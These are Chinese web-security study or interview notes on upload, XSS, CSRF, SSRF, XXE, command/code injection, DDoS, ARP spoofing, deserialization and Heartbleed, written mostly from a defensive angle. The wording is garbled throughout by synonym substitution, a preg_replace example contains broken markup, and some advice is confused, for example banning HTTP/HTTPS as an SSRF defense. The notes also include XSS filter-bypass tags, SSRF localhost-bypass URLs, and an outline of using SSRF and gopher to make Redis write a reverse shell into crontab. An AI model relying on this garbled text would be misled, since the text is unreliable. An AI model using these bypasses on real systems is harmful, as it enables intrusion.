上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
他通过雷同方式控制策略文件的环境雷同);
上传文件是病毒、木马文件,黑客用以诱骗用户大概管理员下载执行:
上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的欣赏器中会被作为脚本执行,被用于钓鱼和敲诈。
除此之外,尚有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;大概上传-一个正当的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含毛病(Local File Include)"执行此脚本;等等。
防护
文件上传目录设置为不可执行
利用白名单判断文件上传范例
用随机数改写文件名和路径
审查上传点的元素有什么意义
有些站点的上传文件范例的限制是在前端实现的,这时只要增长上传范例就能突破限制了。
Xss(跨站脚本攻击)

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表CSS(Cascading Style Sheets)的缩写肴杂,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户欣赏该页之时,嵌入其中Web内里的Script代码会被执行,从而达到恶意攻击用户的目标。XSS攻击针对的是用户层面的攻击!
(2)分类
 XSS分为三类:反射型XSS、存储型XSS、DOM型XSS
(3)原理
 存储型XSS:存储型XSS,长期化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,假如没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时间触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
 反射型XSS:非长期化,需要欺骗用户自己去点击链接才华触发XSS代码(服务器中没有这样的页面和内容),一般容易出如今搜刮页面。
 DOM型XSS:不颠末后端,DOM-XSS毛病是基于文档对象模子(Document Objeet Model,DOM)的一种毛病,攻击者向服务器发送一个带有恶意JS代码的请求,服务器的相应不会以任何形式包含攻击者的脚本。当用户的欣赏器处理这个相应时,DOM对象就会处理XSS代码,导致存在XSS毛病。
(4)防御
1:存储型: 后台编写过滤器,对一些html标签和特殊的字符举行转义。
2:反射型:特殊字符的转义。
3:DOM型:检查是否包含一些特殊的函数可以造成危害的地方。
4:对于截取cookie的XSS的防御可以在cookie上添加HttpOnly。
XSS 弹窗函数及常见的 XSS 绕过策略
答:
一、alert,confirm,prompt 三种函数
二、绕过策略

  • 大小写肴杂
  • 双写
    3.编码
  • fuzz 低频利用标签 <details/open/ontoggle>
  • fuzz 低频利用函数 ontoggle 等
    6.<img/src=1>
    7.%0a 大概%0d 绕过
XSS的范例,怎样对XSS防御

XSS跨站脚本攻击范例:反射型,储存型,DOM型。防御步伐:对前端输入举行过滤和编码、对特殊字符举行过滤和转义;利用白名单对输入举行限制;对cookie举行http-only的限制(只读);将用户的输入转换成数据
XSS 能用来做什么?

网络钓鱼、窃取用户Cookies、弹广告刷流量、具备改页面信息、删除文章、获取客户端信息、传播蠕虫
XSS的三种范例,防御方法

反射型、Dom Base XSS、存储型 防御方法这个只能说个大概,毕竟这是一个比较大的话题,而且防御的方法还得看所在的业务等。从网络层、主机层、Web层、数据库,通过CDN都有过滤常见一些攻击本领,但不能有CDN就以为可以了,添加CDN只是让攻击成本增高,开启HttpOnly,以防确实存在避免cookies被获取,CSP策略、再就是语言中提供的函数对输入过滤,以及输出编码以及ModSecurity类的防火墙。
存储型xss原理?

如网站留言版,把插入的记录存储在数据库中,插入的代码会一直留在页面上,当其它用户访问会从数据库中读取并触发毛病。
你怎么理解xss攻击?

是一种被动型,在不知道的环境下触发雷同无感型,在渗透许多环境下寻常的渗透手段以及取得目标的信息,而XSS就能轻松获取,雷同QQ邮箱你不大概渗透这么大的互联网就算可以时间成本都非常的高,XSS比较有针对性。
如何快速发现xss位置?

各种输入的点,名称、上传、留言、可交互的地方,一切输入都是在害原则。
Dom xss 原理/防范
DOM型XSS并不需要服务器解析相应的直接参与触发XSS靠的是欣赏器DOM解析 DOM—based XSS毛病是基于文档对象模子Document Objeet Model,DOM)的一种毛病。
cument.getElementById(“a”).innerHTML=“yyyyyy”;
在输入点过滤敏感关键字
DOM型XSS与反射型XSS区别?

DOM型就是JavaScript中的Document对象HTML注入,直接欣赏器处理。
假如 SRC 上报了一个 XSS 毛病,payload 已经写入页面,但未给出具体位置,如何快速介入?
看是否什么范例的XSS,XSS反射型看提交的地址,指的参数是哪个位置,通过这个页面举行fuzzing测试。假如是存储型页面查找关键字。
Xss worm原理
攻击者发现目标网站存在XSS毛病,而且可以编写XSS蠕虫。利用一个宿主(如博客空间)作为传播源头举行XSS攻击。
1、XSS原理
反射型
用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱利用户“点击”一个恶意链接,才华攻击成功
存储型
存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。
DOM型
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
2、DOM型和反射型的区别
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。DOM型:通过修改页面的DOM节点形成的XSS。DOM-based XSS由于是通过js代码举行dom操纵产生的XSS,所以在请求的相应中我们甚至不愿定会得到相应的畸形数据。根本区别在我看来是输出点的不同。
3、DOM型和XSS自动化测试或人工测试
人工测试思路:找到雷同document.write、innerHTML赋值、outterHTML赋值、window.location操纵、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量,回溯变量泉源观察是否可控,是否颠末安全函数。自动化测试参看道哥的博客,思路是从输入入手,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有颠末安全函数。但是这样就需要有一个javascript解析器,否则会漏掉一些通过js执行带入的部分内容。
在回答这段问题的时间,由于平常对客户的检测中,根本是凭借不同功能点的功能加上履历和直觉来举行检测,对不同范例的XSS检测方式现实上并没有太过细分的标准化检测方式,所以回答的很烂。。。
4、如何快速发现XSS位置
5、对于XSS怎么修补建议
输入点检查:对用户输入的数据举行正当性检查,利用filter过滤敏感字符或对举行编码转义,针对特定范例数据举行格式检查。针对输入点的检查最好放在服务器端实现。
输出点检查:对变量输出到HTML页面中时,对输出内容举行编码转义,输出在HTML中时,对其举行HTMLEncode,假如输出在Javascript脚本中时,对其举行JavascriptEncode。对利用JavascriptEncode的变量都放在引号中并转义危险字符,data部分就无法逃逸出引号外成为code的一部分。还可以利用更加严酷的方法,对所有数字字母之外的字符都利用十六进制编码。别的,要留意在欣赏器中,HTML的解析会优先于Javascript的解析,编码的方式也需要考虑清楚,针对不同的输出点,我们防御XSS的方法大概会不同,这点大概在之后的文章会做下总结。
除此之外,尚有做HTTPOnly对Cookie挟制做限制。
6、XSS蠕虫的生产条件

正常环境下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都大概造成XSS Worm的产生。
不愿定需要存储型XSS
XSS攻击原理和修复
XSS 全称(Cross Site Scripting) 跨站脚本攻击。
XSS攻击原理:欣赏器执行用户输入的JS代码,
常见的 XSS 攻击范例:反射型XSS攻击、DOM型XXS攻击以及存储型XSS攻击。
XSS毛病修复:

1、服务端过滤用户输入的危险字符
2、对输出内容举行HTML实体编码
Csrf与ssrf

CSRF是什么?

CSRF是跨站请求伪造 是由客户端发起的 就是攻击者盗用了你的身份 以你的名义发起恶意请求 但是这个请求对于服务器完全是正当的 但是完成了攻击者所期望的操纵
原理:起首受害者通过欣赏登录信托网站WebA 验证通过后 在欣赏器端产生A的cookie 用户在没有登岸A网站的环境下 访问攻击者构造的危险网站 然后要访问第三方站点A 发送一个请求 根据攻击者的恶链 欣赏器带着最初产生的cookie访问WebA 然后A不知道其中的请求是受害者还是攻击者 因为欣赏器自动会带上这个COOKIE 所以A会根据用户的权限处理有攻击者发送的请求 这样B就达到了模仿用户操纵的目标
条件条件:1)登录受信托的网站A 并在本地生成Cookie
2)在不登出A的环境下 访问攻击者构造的危险网站
防御方式:就是查验referer 加入TOKEN
HTTP头中有个字段叫refer 它主要记录了这个HTTP请求的泉源地址 在通常环境下 访问一个安全受限制页面的请求必须来自同一个网站
比如就像在付出宝转账界面当用户提交请求时,这个转账请求的Referer值就会是转账按钮所在页面的URL(也就是说是他域名开头的地址)。而假如攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到付出宝时,这个请求的Referer是指向攻击者的网站。
所以说,要防御CSRF攻击,付出宝只需要对于每一个转账请求验证其Referer值,假如是以zhifubao.com开头的域名,则阐明该请求是来自付出宝网站自己的请求,是正当的。假如Referer是其他网站的话,就有大概是CSRF攻击,则拒绝该请求。
在请求地址中添加token并验证
CSRF之所以能成功 就是因为攻击者可以伪造用户的请求 该请求中所有的用户验证信息都存在Cookie中 因此攻击者可以在不知道这些验证信息的环境下直接利用用户自己的cookie来通过安全验证
所以说 抵御CSRF的关键在于 在请求中放入攻击者不能伪造的信息 而且该信息不存在cookie之中 所以在HTTP请求中以参数的形式加入一个随机产生的token 然后在服务器端创建一个拦截器来验证这个token 假如请求中没有token大概token内容不正确 则认为大概是CSRF攻击而拒绝该请求
其他方式的防御步伐
1)验证码 2)只管利用POST,限制GET GET接口能够直接将请求地址暴露给攻击者 所以要防止CSRF肯定最好不要GET 当然POST也不是万无一失 攻击者只需要构造一个form表单就可以 但需要在第三方页面做 这就增长了暴露的大概性
SSRF是什么?

服务器请求伪造 从字面上来说就是伪造一个服务端请求 也就是说攻击者伪造服务器的请求发起攻击 攻击者借用服务器看成跳板来攻击目标系统
ssrf一般会出如今什么地方 换句话你会怎么去发现 去利用它?

一般出现图片远程上传的地方 ssrf除了可以获取服务器上的资源 更重要的是它可以举行内网的探测
什么地方最容易出现SSRF?

比如说云服务商 各种网站数据库加载啊 尚有远程图片加载的地方 像是编辑器之类的有远程图片加载
尚有网站采集 网页抓取的地方 比如说许多网站会有新闻采集输入URL然后一键采集
尚有末了一个就是一切要你输入网址的地方和可以输入IP的都是SSRF天下
SSRF的危害?

攻击者可以运行内网或本地的应用程序 下载内网资源 利用Redis未授权访问 HTTP CRLF注入达到getshell
CSRF SSRF 重放攻击有什么区别?

CSRF是跨站请求伪造 由客户端发起
SSRF是服务器请求伪造 有服务端发起
重放攻击 就是攻击者将截获的数据包举行重放 达到身份认真的作用
CSRF XSS XXE

SSRF常常出现的位置?

远程图片下载 加载远程文件 离线下载 远程头像 网页翻译 等等需要服务器发起请求的地方
防御方法:

限制IP :不允许172、10、192开头的地址都不可以输入
限制协议:不允许HTTP HTTPS开头的协议
限制端口: 限制请求的端口为HTTP常用的80,443,8080
过滤返回信息: 验证远程服务器对请求的相应是比较简单的方法
同一错误信息 :免用户可以根据错误信息来判断远程服务器的端口状态
Csrf和ssrf的攻击原理及如何利用

CSRF是为了防止跨站请求伪造,当用户第一次发请GET请求时后台会给前端发送一个加密字符串,下次用户发请POST请求时就需要带这这个加密字符串发送
CSRF的利用:在setting.py中央件中的django.middleware.csrf.CsrfViewMiddleware来完成这个功能biand form表单发起请求在请求:在表单内里加上{% csrf_token %}就行 ajax的利用:对于某个请求设置,在请求头中加入headers: {‘X-CSRFtoken’: $.cookie(‘csrftoken’)},
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全毛病。一般环境下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
攻击者利用ssrf可以实现的攻击主要有5种:
1.可以对外网、服务器所在内网、本地举行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用举行指纹辨认,通过访问默认文件实现;
4.攻击表里网的web应用,主要是利用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?
(1)利用进制转换
(2)利用 DNS 解析
(3)利用句号(127。0。0。1)
(4)利用[::](http://[::]:80/);
(5)利用@(http://example.com@127.0.0.1);
(6)利用短地址(http://dwz.cn/11SMa);
(7)协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)
SSRF毛病的成因 防御 绕过
模仿服务器对其它资源举行请求 IP探测,假如想毛病利用必需要构造好Payload 禁止跳转,限制协议,表里网限制,URL限制 针对IP格式
csrf 如何不带referer访问
通过地址栏,手动输入;从书签内里选择;通过实现设定好的手势。上面说的这三种都是用户自己去操纵,因此不算CSRF。
跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:.最简单的环境就是我们在本地打开一个HTML页面,这个时间欣赏器地址栏是file://开头的,假如这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的,我们可以换用javascript:
CSRF 成因及防御步伐;假如不消 token 如何做防御?

X-Frame-Options
DENY(禁止被 加载进任何frame)
SAMEORIGIN(仅允许被加载进同域内的frame)
X-XSS-Protection
0(表现禁止用这个策略)
1(默认,对危险脚本做一些标志或修改,以阻止在欣赏器上熏染执行。)
1;mode=block(强制不熏染,在Chrome下直接跳转到空白页,在IE下返回一个#符号)
这个策略仅针对反射型,对付不了存储型XSS,能辨认出反射型是因为提交请求的URL中带有可疑的XSS代码片段。
X-Content-Security-Policy
CSRF有何危害?

窜改目标网站上的用户数据 盗取用户隐私数据 传播CSRF蠕
ssrf 怎么用 redis 写 shell

答:
(1)SSRF 服务端请求伪造
一、对内网扫描,获取 banner
二、攻击运行在内网的应用,主要是利用 GET 参数就可以实现的
攻击(比如 Struts2,sqli 等)
三、利用协议读取本地文件
四、 云计算环境 AWS Google Cloud 环境可以调用内网操纵
ECS 的 API
(2)如 webligic SSRF 毛病通过 SSRF 的 gopher 协议操纵内网的 redis,利用 redis 将反弹 shell 写
入 crontab 定时任务,url 编码,将\r 字符串更换成%0d%0a
Xxe

(1)介绍
 XXE(XML External Entity Injection)外部实体注入毛病,XML在引用外部实体是的时间,攻击者可以构造恶意的XML代码,以造成恣意文件读取、命令执行甚至是停止服务器。
XML用于标识电子文件使其具有结构性的标识语言,可以用来标记数据、定义数据范例,是一种允许用户对自己的标记语言举行定义的源语言。XML文档结构包括XML声名、DTD文档范例定义、文档元素。
(2)防御
1:利用开发语言提供的禁用外部实体的方法。
2:过滤用户提交的XML数据。
Xxe毛病是什么,怎么防御

XXE毛病全称XML External Entity Injection即xml外部实体注入毛病,XXE毛病发生在应用程序解析XML输入时,
没有禁止外部实体的加载,导致可加载恶不测部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、
发起dos攻击等危害。xxe毛病触发的点往往是可以上传xml文件的位置,没有对上传的xml文件举行过滤,导致可上传恶意xml文件。
防御方法:

1.打开php的libxml_disable_entity_loader(ture),不允许加载外部实体。
2.过滤用户提交的xml数据,比如ENTITY,SYSTEM。
XXE 毛病原理,代码审计如何探求?
1)XXE (
XML 外部实体注入)当 应用允许引用 XML 外部实体时,攻击者
通过构造恶意内容,就大概举行恣意文件读取、系统命令执行、内网端口探测、
内网网站攻击等操纵。
Java :支持 http、https、file、ftp、mailto、jar、netdoc、(
1.8 不支持 gopher)
2)审计函数,涉及到 XML 文件处理,都大概造成 XXE
3)防御方法:禁用外部实体
命令执行

原理
应用程序偶尔需要调用一些执行系统命令的函数,如在PHP中,利用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行毛病
毛病描述

命令执行毛病是指服务器没有对执行的命令举行过滤,用户可以随意执行系统命令,命令执行毛病属于高危毛病之一。
如PHP的命令执行毛病主要是基于一些函数的参数过滤不敷导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等。当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。PHP执行命令是继续WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该毛病的危害性相称大。
毛病危害
继续Web服务器程序的权限,去执行系统命令或读写文件
反弹shell
控制整个网站,甚至控制整个服务器
毛病产生的原因

1.没有对用户输入举行过滤或过滤不严
例如,没有过滤&、&&、|、||等连接符
2.系统毛病造成的命令执行
bash破壳毛病(CVE-2014-6271),该毛病可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等。
3.调用的第三方组件存在代码执行毛病
例如:
php(system()、shell_exec()、exec()、eval())
JAVA中的命令执行毛病(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
No.4
常见危险函数

  • Php代码相关
eval()
assert()
preg_replace
call_user_func()
call_user_func_array()
create_function
array_map()
2. 系统命令执行相关
system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
`(反单引号)
ob_start()
命令执行毛病怎么发现
通过nessus扫描器的Sitemap模块,发现了可疑目录 ,根据sitemap的目录信息,打开URL:http://x.x.x.x:28076/file/,发现存在未授权访问毛病,逐个检察内里的文件,蒙了一下dirFiles.jsp的 参数,利用"path"作为参数名可列出目录、文件信息,URL,同样的方法,发现show.jsp存在恣意文件读取毛病。修复方法:严酷控制文件名参数值,先判断文件名或文件路径是否正当可修复毛病
命令执行与代码执行的区别
代码执行:执行效果完全依靠于语言自己
命令执行:执行效果不受语言自己、命令自己的限制
命令执行的范例
代码层过滤不严酷
系统的毛病造成命令注入
调用的第三方组件存在代码执行毛病
命令执行的防御:
只管不要执行外部命令。
利用自定义函数大概函数库来代替外部命令的功能。
利用escapeshe||arg函数来处理命令参数。
利用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会利用的命令提前放入此路径内。)
DDOS

DDOS原理

利用合理的请求造成资源过载,导致服务不可用
syn洪流的原理
伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次而且等待一个SYNTime(一般为30秒至2分钟),假如超时则抛弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会斲丧非常多的资源(CPU和内存)来处理这种半连接,同时还要不停地对这些IP举行SYN+ACK重试。末了的效果是服务器无暇理睬正常的连接请求,导致拒绝服务。
CC攻击原理
对一些斲丧资源较大的应用页面不停发起正常的请求,以达到斲丧服务端资源的目标。
DOSS防护

SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。假如在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被抛弃。
中央人攻击
中央人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的毛病
防御中央人攻击的方案通常基于一下几种技术
1.公钥基础建设PKI 利用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的毛病,而假如利用相互认证的的话,根本可以更强力的相互认证
2.延迟测试
利用复杂加密哈希函数举行计算以造成数十秒的延迟;假如双方通常环境下都要花费20秒来计算,而且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中央人。
3.利用其他形式的密钥交换形式
+原理
每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,假如原有雷同IP对应关系,原有的则会被更换。这样攻击者就有了偷听主机传输的数据的大概
防护
1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC
2.在网关绑定主机MAC与IP地址
3.利用ARP防火墙
代码执行

代码执行毛病原理
当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入毛病。
简述代码执行毛病:
PHP代码执行毛病可以将代码注入到应用中,最终到webserver去执行。该毛病主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
常见的代码执行毛病危险函数:
在php中:eval,assert,preg_replace(‘/*/e’,                                   r                         e                         t                         =                         "                                 1                         "                                   ;                            ′                                  ,                              ret="\\1";',                  ret="1";′,data);(PHP版本<5.5.0)
在asp中:eval,exevute.executeglobal
在jsp中:jsp中没有php中的eval函数,但是可以利用反射机制,利用基于反射机制的表达式引擎,如0GNL,SpEL,MVEL等
代码执行毛病危害
执行恣意代码
向网站写WebShell
控制整个网站甚至服务器
代码执行毛病防御:
只管少用执行命令的函数大概直接禁用
参数值只管利用引号包括
在利用动态函数之前,确保利用的函数是指定的函数之一
在进入执行命令的函数/方法之前,对参数举行过滤,对敏感字符举行转义
能利用脚本解决的工作,不要调用其他程序处理。只管少用执行命令的函数,并在disable_functions中禁用
对于可控点是程序参数的环境下,利用escapeshellcmd函数举行过滤,对于可控点是程序参数值的环境下,利用escapeshellarg函数举行过滤
参数的值只管利用引号包裹,并在拼接前调用addslashes举行转义
而针对由特定第三方组件引发的毛病,我们要做的就是及时打补丁,修改安装时的默认配置。
对于eval( )函数肯定要包管用户不能容易打仗eval的参数大概用正则严酷判断输入的数据格式。
对于preg_replace放弃利用e修饰符。假如必须要用e修饰符,请包管第二个参数中,对于正则匹配出的对象,用单引号包裹 。
重定向
URL重定向(URLredirection)毛病,又称跳转毛病,指的是网络应用程序接受用户可控的输入作为到外部站点的链接,然后在重定向中利用该链接。该安全毛病给网络钓鱼攻击提供了极大的便利。
毛病的构成条件:
1、URL从用户可控制的输入中提取;
2、该URL未履历证,就被用于网络应用程序的重定向地址。
URL重定向的常见后果:
关键词:绕过掩护机制;获取权限或假冒身份
用户的访问大概会被重定向到不可靠的网页。不可靠网页中大概存在恶意软件并大概攻陷用户电脑。一旦用户电脑被攻陷,用户就暴露在大量各种网络危机中。而且用户和网络服务器的交互也大概被攻陷,导致个人身份,暗码等关键敏感信息的走漏。
防护方法

  • 代码固定跳转地址,不让用户控制变量
  • 跳转目标地址采用白名单映射机制
    比如1代表auth.landgrey.me,2代表www.landgrey.me,其它不做任何动作
  • 合理充分的校验校验跳转的目标地址,非己方地址时告知用户跳转风险
反序列化

序列化
序列化是将复杂的数据结构(例如对象及其字段)转换为字节序列的过程。以便在网络上传输大概保存在本地文件中。
举行序列化之后,在传递和保存对象的时间,对象的状态以及相关的描述信息仍旧是完备的而且可举行传递。
序列化机制的焦点作用就是对象状态的保存与重修。
2、反序列化
反序列化是将字节流还原为原始对象的过程,反序列化之后的对象其状态与序列化时的状态完全雷同。然后,网站的逻辑可以与此反序列化的对象举行交互,就像与任何其他对象举行交互一样。
毛病成因
序列化和反序列化自己并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的恣意代码。
反序列化毛病
是指网站对用户可控制的数据举行反序列化时,攻击者能够操纵序列化的对象,将有害数据传递到应用程序代码中。甚至有大概用完全不同类的对象更换序列化的对象。
不测类的对象大概会导致异常。但是,到此时,攻击者对反序列化毛病的利用大概已经完成。许多基于反序列化的攻击是在反序列化完成之前完成的。这意味着即使网站自己的功能未与恶意对象直接交互,反序列化过程自己也可以发起攻击。
反序列化毛病的利用
修改对象属性
当窜改数据时,只要攻击者保存有效的序列化对象,反序列化过程将创建具有修改后的属性值的服务器端对象。
修改数据范例
基于PHP的逻辑由于==在比较不同数据范例时,编译器会先将比较符号两端的数据转化为同一范例,这时,我们可以利用这一特性。
以任何序列化的对象格式修改数据范例时,同事也需要更新序列化数据中的任何范例标签和长度指示符,否则,序列化的对象将被破坏,而且不会被反序列化。
利用应用程序功能
除了简单地检查属性值之外,网站的功能还大概会对反序列化对象中的数据执行危险的操纵。在这种环境下,可以利用反序列化毛病来传递不测数据,并利用相关功能造成损害。
魔术方法
这种利用方法依靠攻击者通过用户可访问的功能手动调用危险方法。当利用毛病自动将数据传递到危险方法举行利用时,可以通过利用“魔术方法”来实现。
魔术方法是是在发生特定事件或场景时自动调用它们,而不必显式调用的方法的特殊子集,。魔术方法是各种语言的面向对象编程的共同特征。偶尔通过在方法名称前添加前缀或双下划线来指定它们。
开发职员可以将魔术方法添加到类中,以便预先确定在发生相应的事件或场景时应执行什么代码。调用魔术方法的确切时间和原因因方法而异。
注入恣意对象
偶尔间可以通过编辑网站提供的对象来利用反序列化毛病。
在面向对象的编程中,对象可用的方法由其类确定。因此,假如攻击者可以操纵将哪类对象作为序列化数据传递,则他们可以影响在反序列化之后(甚至在反序列化期间)执行什么代码。
反序列化方法通常不会检查正在反序列化的内容。这意味着可以向网站传入任何可序列化类的对象,而且该对象将被反序列化。这使攻击者可以创建恣意类的实例。攻击者构造的对象范例大概会导致应用程序逻辑中的异常,但是再出现异常的同时,恶意对象将已经实例化。
假如可以访问源代码,那我们可以检察所有可用的类。构造一个简单的毛病利用程序,探求包含反序列化魔术方法的类,然后检查它们是否可以对可控制的数据执行危险操纵。然后,可以传入此类的序列化对象,以利用其魔术方法举行利用。
工具链
包含这些反序列化魔术方法的类也可以用于发起更复杂的攻击,涉及一系列的方法调用,称为“工具链”。
“工具链”是应用程序中存在的代码片段,可以资助攻击者实现特定目标。单个工具链大概不会直接对用户输入造成任何有害影响。但是,攻击者的目标大概只是调用一种方法,该方法会将其输入传递给另一个工具链。通过以这种方式将多个工具链链接在一起,攻击者可以潜在地将其输入传递到危险的“吸收器工具链”中,从而在其中造成最大的破坏。
与某些其他范例的利用不同,工具链不是攻击者构建的链式方法的有效负载。网站上已经存在所有代码。攻击者唯一控制的是传递到工具链中的数据。通常利用反序列化期间调用的魔术方法(偶尔称为“启动工具链”)完成此操纵。
防备反序列化毛病

1、除非绝对须要,否则应避免对用户输入举行反序列化。在许多环境下,反序列化带来的危害大概大于带来的利益。
2、假如确实需要反序列化来自不受信托泉源的数据,需确保数据未被窜改。例如,实施数字签名来检查数据的完备性。而且,在开始反序列化过程之前,也需要对数据举行检查。
2、应避免完全利用通用的反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括大概包含敏感信息的私有字段,键值对等。可以创建自己的特定于类的序列化方法,以便可以控制公开哪些字段。
防御手段
weblogic防御

• 过滤T3协议,限定可连接的IP
• 设置Nginx反向代理,实现t3协议和http协议隔离
• JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理
5.2 原生反序列化防御

• 不要反序列化不可信的数据
• 给反序列数据加密签名,并确保解密在反序列之前
• 给反序列化接口添加认证授权
• 反序列化服务只允许监听在本地大概开启相应防火墙
• 升级第三方库
• 升级JDK,JEP290
心脏出血

OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合,攻击者可以利用这一点,构造异常的数据包,来获取心跳数据所在的内存区域的后续数据。这些数据中大概包含了证书私钥,用户名,用户暗码,用户邮箱等敏感信息。该毛病允许攻击者从内存中读取多达64KB的数据。
特征总结
   OpenSSL心脏出血毛病(heartbleed)的产生主要由于OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续字段相吻合导致攻击者构造异常数据包,来直接获取心跳数据所在的内存区域的后续数据。主要特征有:
heartbleed毛病主要存在于有心跳机制的OpenSSL协议中。
IANA组织把开启心跳扩展机制的SSL数据包type范例定义为24(0x18)。
heartbleed毛病主要存在于TLS和DTLS两种协议中,在含有heartbleed毛病的OpenSSL协议中需要开启心跳扩展机制(beartbeat),而含有心跳扩展机制的TLS版本主要包含在TLSv1.0(0x0301),TLSv1.1(0x0302),TLSv1.2(0x0303)三种版本中。
heartbleed毛病攻击主要由于攻击者构造异常的心跳数据包,即心跳包中的长度字段与后续的数据字段不相符合,来获取心跳数据所在的内存区域的后续数据。
   综上所述我们可以通过对线网中的数据起首举行判断是否为含有OpenSSL的数据包,同时通过对数据包中的type范例判断数据包是否为心跳数据包,然后对TLS的版本举行匹配找到相应的含有心跳扩展机制的心跳数据包,末了通过对心跳包中的数据现实长度与长度字段定义的值比较,假如现实长度小于定义的长度则该数据包即为含有heartbleed毛病的数据包。
修复
升级为利用1.0.1g版,或利用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件
命令注入

命令注入毛病和SQL注入、XSS毛病很相似,也是由于开发职员考虑不周造成的,在利用web应用程序执行系统命令的时间对用户输入的字符未举行过滤或过滤不严酷导致的,常发生在具有执行系统命令的web应用中,如内容管理系统(CMS)等。
原理
后台代码并未对用户输入的参数ip的值举行过滤就直接与ping命令举行拼接并执行 ,因此我们可以利用常见的命令拼接字符对命令举行拼接,如利用“&”,“|”,“&&”,“||”等,linux系统下还可以利用“;”,“``”。
毛病防范
命令注入毛病是由于考虑不周,过滤不严酷导致的,因此只要过滤的够严酷就可以防范该毛病,别的还可以设置命令选项,只允许执行几个常用的命令,除此之外的命令都不允许执行,也可以利用安全工具举行防范,如利用WAF,IDS,IPS等举行防御。
越权访问

越权毛病是Web应用程序中一种常见的安全毛病。该毛病是指应用在检查授权时存在纰漏,使得攻击者在得到低权限用户账户后,利用一些方式绕过权限检查(比如说修改数据包的值大概直接访问其他用户相应页面的链接),访问大概操纵其他用户大概更高权限用户才华访问到的页面或数据。
什么是越权?简述一下水平越权和垂直越权

越权(失效的访问控制), 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、检察敏感文件、修改其他用户的数据、更改访问权限等。表现形式:水平权限、垂直权限水平越权: 本来有个账号(即只能操纵自己的数据,比如增删改查),但是通过越权操纵,能操纵其他划一权限账号的数据。 垂直越权: 本来有个账号只有小权限,但是通过越权操纵,获取了大权限。
横向越权毛病的修复
